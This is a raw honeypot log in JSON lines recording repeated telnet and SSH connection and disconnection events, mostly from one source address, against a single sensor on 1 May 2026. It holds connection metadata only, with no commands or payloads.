{"eventid":"cowrie.session.closed","duration":31.753133535385132,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:43:35.657894Z","src_ip":"51.161.172.108","session":"d1cc9bb4041d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.845770597457886,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:43:35.712117Z","src_ip":"51.161.172.108","session":"6c4da209ee29","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":43490,"dst_ip":"159.203.135.109","dst_port":23,"session":"c1ded4d95e21","protocol":"telnet","message":"New connection: 51.161.172.108:43490 (159.203.135.109:23) [session: c1ded4d95e21]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:43:35.880245Z"}
{"eventid":"cowrie.session.closed","duration":31.720945596694946,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:43:36.054502Z","src_ip":"51.161.172.108","session":"dd361fce43de","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.963987112045288,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:43:36.063656Z","src_ip":"51.161.172.108","session":"7ca1500a98cd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":43504,"dst_ip":"159.203.135.109","dst_port":23,"session":"582373b2443e","protocol":"telnet","message":"New connection: 51.161.172.108:43504 (159.203.135.109:23) [session: 582373b2443e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:43:36.068385Z"}
{"eventid":"cowrie.session.closed","duration":31.299782276153564,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:43:36.173842Z","src_ip":"51.161.172.108","session":"1bcb55f04d1f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.518539667129517,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:43:36.194884Z","src_ip":"51.161.172.108","session":"292e65961ab0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.535213708877563,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:43:36.292047Z","src_ip":"51.161.172.108","session":"d7d7107e29ca","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":43512,"dst_ip":"159.203.135.109","dst_port":23,"session":"d4e45d91d4e6","protocol":"telnet","message":"New connection: 51.161.172.108:43512 (159.203.135.109:23) [session: d4e45d91d4e6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:43:36.389119Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":43526,"dst_ip":"159.203.135.109","dst_port":23,"session":"cc743073ded0","protocol":"telnet","message":"New connection: 51.161.172.108:43526 (159.203.135.109:23) [session: cc743073ded0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:43:36.806210Z"}
{"eventid":"cowrie.session.closed","duration":31.1091730594635,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:43:36.849829Z","src_ip":"51.161.172.108","session":"79dab91b5816","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":43540,"dst_ip":"159.203.135.109","dst_port":23,"session":"ffc58a0bcac1","protocol":"telnet","message":"New connection: 51.161.172.108:43540 (159.203.135.109:23) [session: ffc58a0bcac1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:43:36.875994Z"}
{"eventid":"cowrie.session.closed","duration":31.835116386413574,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:43:36.985798Z","src_ip":"51.161.172.108","session":"854d97fa5fe4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.268229484558105,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:43:37.214570Z","src_ip":"167.99.38.72","session":"7dfd2b90f779","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.518025398254395,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:43:37.244524Z","src_ip":"51.161.172.108","session":"60e1c93eb809","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.654926538467407,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:43:37.267152Z","src_ip":"51.161.172.108","session":"902903b82150","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":43552,"dst_ip":"159.203.135.109","dst_port":23,"session":"967f629fc819","protocol":"telnet","message":"New connection: 51.161.172.108:43552 (159.203.135.109:23) [session: 967f629fc819]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:43:37.272684Z"}
{"eventid":"cowrie.session.closed","duration":30.911608934402466,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:43:37.308465Z","src_ip":"51.161.172.108","session":"9d4089abe4c4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.9577054977417,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:43:37.428734Z","src_ip":"51.161.172.108","session":"98129b5e5e4e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.066030740737915,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:43:38.092976Z","src_ip":"51.161.172.108","session":"d2242c963d5b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":43556,"dst_ip":"159.203.135.109","dst_port":23,"session":"6cb36502354d","protocol":"telnet","message":"New connection: 51.161.172.108:43556 (159.203.135.109:23) [session: 6cb36502354d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:43:38.129492Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":43572,"dst_ip":"159.203.135.109","dst_port":23,"session":"ba1e56b83425","protocol":"telnet","message":"New connection: 51.161.172.108:43572 (159.203.135.109:23) [session: ba1e56b83425]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:43:38.202071Z"}
{"eventid":"cowrie.session.closed","duration":30.448899745941162,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:43:38.295401Z","src_ip":"51.161.172.108","session":"f890dfb69081","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":43578,"dst_ip":"159.203.135.109","dst_port":23,"session":"56ef7e4ea972","protocol":"telnet","message":"New connection: 51.161.172.108:43578 (159.203.135.109:23) [session: 56ef7e4ea972]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:43:38.426076Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":43592,"dst_ip":"159.203.135.109","dst_port":23,"session":"8cd319630d58","protocol":"telnet","message":"New connection: 51.161.172.108:43592 (159.203.135.109:23) [session: 8cd319630d58]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:43:38.517762Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":43606,"dst_ip":"159.203.135.109","dst_port":23,"session":"72f18ef3735b","protocol":"telnet","message":"New connection: 51.161.172.108:43606 (159.203.135.109:23) [session: 72f18ef3735b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:43:38.883349Z"}
{"eventid":"cowrie.session.closed","duration":31.151484727859497,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:43:38.933912Z","src_ip":"51.161.172.108","session":"dd8ac2e0391f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.79756236076355,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:43:39.058995Z","src_ip":"51.161.172.108","session":"a7285fede740","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.277026891708374,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:43:39.216137Z","src_ip":"34.69.118.1","session":"14b872256172","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.109354734420776,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:43:39.292586Z","src_ip":"51.161.172.108","session":"a07b60f66476","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":55602,"dst_ip":"159.203.135.109","dst_port":23,"session":"e4f5d0261028","protocol":"telnet","message":"New connection: 51.161.172.108:55602 (159.203.135.109:23) [session: e4f5d0261028]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:43:39.315907Z"}
{"eventid":"cowrie.session.connect","src_ip":"167.99.38.72","src_port":40522,"dst_ip":"159.203.135.109","dst_port":23,"session":"425edf463eb5","protocol":"telnet","message":"New connection: 167.99.38.72:40522 (159.203.135.109:23) [session: 425edf463eb5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:43:39.374796Z"}
{"eventid":"cowrie.session.closed","duration":31.033233642578125,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:43:39.655877Z","src_ip":"51.161.172.108","session":"4b6ddd4eb194","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.223023414611816,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:43:39.931149Z","src_ip":"51.161.172.108","session":"c95a8cacfd89","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.957740783691406,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:43:40.130543Z","src_ip":"51.161.172.108","session":"778b13dc5c60","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.18477725982666,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:43:40.361125Z","src_ip":"51.161.172.108","session":"f37d9c8c58ea","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.000624895095825,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:43:40.486289Z","src_ip":"51.161.172.108","session":"5e6dc4bc5ff7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"167.99.38.72","src_port":41920,"dst_ip":"159.203.135.109","dst_port":23,"session":"98051bd430da","protocol":"telnet","message":"New connection: 167.99.38.72:41920 (159.203.135.109:23) [session: 98051bd430da]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:43:40.492330Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":55610,"dst_ip":"159.203.135.109","dst_port":23,"session":"5d0d2add4ae1","protocol":"telnet","message":"New connection: 51.161.172.108:55610 (159.203.135.109:23) [session: 5d0d2add4ae1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:43:40.532280Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":55620,"dst_ip":"159.203.135.109","dst_port":23,"session":"f3a504eebb9c","protocol":"telnet","message":"New connection: 51.161.172.108:55620 (159.203.135.109:23) [session: f3a504eebb9c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:43:40.586222Z"}
{"eventid":"cowrie.session.closed","duration":31.50568461418152,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:43:40.671714Z","src_ip":"51.161.172.108","session":"2f0a7742ee8d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":55630,"dst_ip":"159.203.135.109","dst_port":23,"session":"539cc909a8f0","protocol":"telnet","message":"New connection: 51.161.172.108:55630 (159.203.135.109:23) [session: 539cc909a8f0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:43:40.907587Z"}
{"eventid":"cowrie.session.closed","duration":31.115418434143066,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:43:40.963289Z","src_ip":"51.161.172.108","session":"ac9dd1711518","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.716624975204468,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:43:41.149259Z","src_ip":"51.161.172.108","session":"4cac52e04b81","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"32.1","message":"Connection lost after 32.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:43:41.169215Z","src_ip":"122.168.114.167","session":"117bf81a0db6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.800956964492798,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:43:41.345644Z","src_ip":"51.161.172.108","session":"b3cd2f09e12e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.720824718475342,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:43:41.512331Z","src_ip":"51.161.172.108","session":"63f85946bf7e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":55646,"dst_ip":"159.203.135.109","dst_port":23,"session":"8251a131c45a","protocol":"telnet","message":"New connection: 51.161.172.108:55646 (159.203.135.109:23) [session: 8251a131c45a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:43:41.714559Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":55654,"dst_ip":"159.203.135.109","dst_port":23,"session":"501b46d70323","protocol":"telnet","message":"New connection: 51.161.172.108:55654 (159.203.135.109:23) [session: 501b46d70323]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:43:41.748847Z"}
{"eventid":"cowrie.session.closed","duration":31.941879272460938,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:43:41.882253Z","src_ip":"51.161.172.108","session":"78d6cae47e19","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":55662,"dst_ip":"159.203.135.109","dst_port":23,"session":"dd82e660c2a3","protocol":"telnet","message":"New connection: 51.161.172.108:55662 (159.203.135.109:23) [session: dd82e660c2a3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:43:41.978535Z"}
{"eventid":"cowrie.session.closed","duration":31.95285725593567,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:43:41.992563Z","src_ip":"51.161.172.108","session":"bbc0ea0f10ab","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":55664,"dst_ip":"159.203.135.109","dst_port":23,"session":"a415e9c2c482","protocol":"telnet","message":"New connection: 51.161.172.108:55664 (159.203.135.109:23) [session: a415e9c2c482]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:43:42.501540Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":55680,"dst_ip":"159.203.135.109","dst_port":23,"session":"e1b03f6ded64","protocol":"telnet","message":"New connection: 51.161.172.108:55680 (159.203.135.109:23) [session: e1b03f6ded64]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:43:42.513042Z"}
{"eventid":"cowrie.session.closed","duration":31.221412897109985,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:43:42.933074Z","src_ip":"51.161.172.108","session":"4f30d6e979b0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.342955350875854,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:43:43.354526Z","src_ip":"51.161.172.108","session":"9c8270ffa62a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.92897915840149,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:43:43.388668Z","src_ip":"51.161.172.108","session":"657e1e721203","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":55690,"dst_ip":"159.203.135.109","dst_port":23,"session":"2336708ba90e","protocol":"telnet","message":"New connection: 51.161.172.108:55690 (159.203.135.109:23) [session: 2336708ba90e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:43:43.511460Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":55696,"dst_ip":"159.203.135.109","dst_port":23,"session":"c444f00df5d2","protocol":"telnet","message":"New connection: 51.161.172.108:55696 (159.203.135.109:23) [session: c444f00df5d2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:43:43.704180Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":55698,"dst_ip":"159.203.135.109","dst_port":23,"session":"1606e6bce65c","protocol":"telnet","message":"New connection: 51.161.172.108:55698 (159.203.135.109:23) [session: 1606e6bce65c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:43:43.794026Z"}
{"eventid":"cowrie.session.closed","duration":31.464186191558838,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:43:43.929125Z","src_ip":"51.161.172.108","session":"1e57d12b7d30","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.879069328308105,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:43:43.938162Z","src_ip":"51.161.172.108","session":"67e7a025adc5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":55706,"dst_ip":"159.203.135.109","dst_port":23,"session":"0bece89ea827","protocol":"telnet","message":"New connection: 51.161.172.108:55706 (159.203.135.109:23) [session: 0bece89ea827]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:43:44.072851Z"}
{"eventid":"cowrie.session.closed","duration":31.123613119125366,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:43:44.191575Z","src_ip":"51.161.172.108","session":"49b2bf830a07","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.293699741363525,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:43:44.278788Z","src_ip":"51.161.172.108","session":"cde9789c36b4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":55720,"dst_ip":"159.203.135.109","dst_port":23,"session":"d12fd2802993","protocol":"telnet","message":"New connection: 51.161.172.108:55720 (159.203.135.109:23) [session: d12fd2802993]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:43:44.616518Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":55724,"dst_ip":"159.203.135.109","dst_port":23,"session":"22bd0b618cad","protocol":"telnet","message":"New connection: 51.161.172.108:55724 (159.203.135.109:23) [session: 22bd0b618cad]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:43:44.973251Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":55740,"dst_ip":"159.203.135.109","dst_port":23,"session":"ab1bc4ae4c6f","protocol":"telnet","message":"New connection: 51.161.172.108:55740 (159.203.135.109:23) [session: ab1bc4ae4c6f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:43:45.027633Z"}
{"eventid":"cowrie.session.closed","duration":30.693359851837158,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:43:45.365716Z","src_ip":"51.161.172.108","session":"29d4a8f9f5ad","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":55752,"dst_ip":"159.203.135.109","dst_port":23,"session":"3fe0f5ce4890","protocol":"telnet","message":"New connection: 51.161.172.108:55752 (159.203.135.109:23) [session: 3fe0f5ce4890]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:43:45.613322Z"}
{"eventid":"cowrie.session.closed","duration":31.039586305618286,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:43:45.666287Z","src_ip":"51.161.172.108","session":"23e838b45912","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":55756,"dst_ip":"159.203.135.109","dst_port":23,"session":"8ed41e6712c3","protocol":"telnet","message":"New connection: 51.161.172.108:55756 (159.203.135.109:23) [session: 8ed41e6712c3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:43:45.816094Z"}
{"eventid":"cowrie.session.closed","duration":31.887645721435547,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:43:45.898136Z","src_ip":"51.161.172.108","session":"7a3fb00c248e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":55758,"dst_ip":"159.203.135.109","dst_port":23,"session":"2bfe7614a4fb","protocol":"telnet","message":"New connection: 51.161.172.108:55758 (159.203.135.109:23) [session: 2bfe7614a4fb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:43:45.940523Z"}
{"eventid":"cowrie.session.closed","duration":32.114564657211304,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:43:46.008973Z","src_ip":"51.161.172.108","session":"9648cdefa782","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.819535493850708,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:43:46.049275Z","src_ip":"51.161.172.108","session":"a559a7373bbf","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":55766,"dst_ip":"159.203.135.109","dst_port":23,"session":"a786dcc37d3d","protocol":"telnet","message":"New connection: 51.161.172.108:55766 (159.203.135.109:23) [session: a786dcc37d3d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:43:46.098558Z"}
{"eventid":"cowrie.session.connect","src_ip":"167.99.38.72","src_port":44974,"dst_ip":"159.203.135.109","dst_port":23,"session":"c73a9c7624b4","protocol":"telnet","message":"New connection: 167.99.38.72:44974 (159.203.135.109:23) [session: c73a9c7624b4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:43:46.165792Z"}
{"eventid":"cowrie.session.closed","duration":31.22129988670349,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:43:46.242428Z","src_ip":"51.161.172.108","session":"12981bf97c4f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":55774,"dst_ip":"159.203.135.109","dst_port":23,"session":"142995792b51","protocol":"telnet","message":"New connection: 51.161.172.108:55774 (159.203.135.109:23) [session: 142995792b51]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:43:46.387743Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":55786,"dst_ip":"159.203.135.109","dst_port":23,"session":"a26bb489fd69","protocol":"telnet","message":"New connection: 51.161.172.108:55786 (159.203.135.109:23) [session: a26bb489fd69]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:43:46.478024Z"}
{"eventid":"cowrie.session.closed","duration":31.021389722824097,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:43:46.686022Z","src_ip":"51.161.172.108","session":"6fc331aa3eab","protocol":"telnet"}
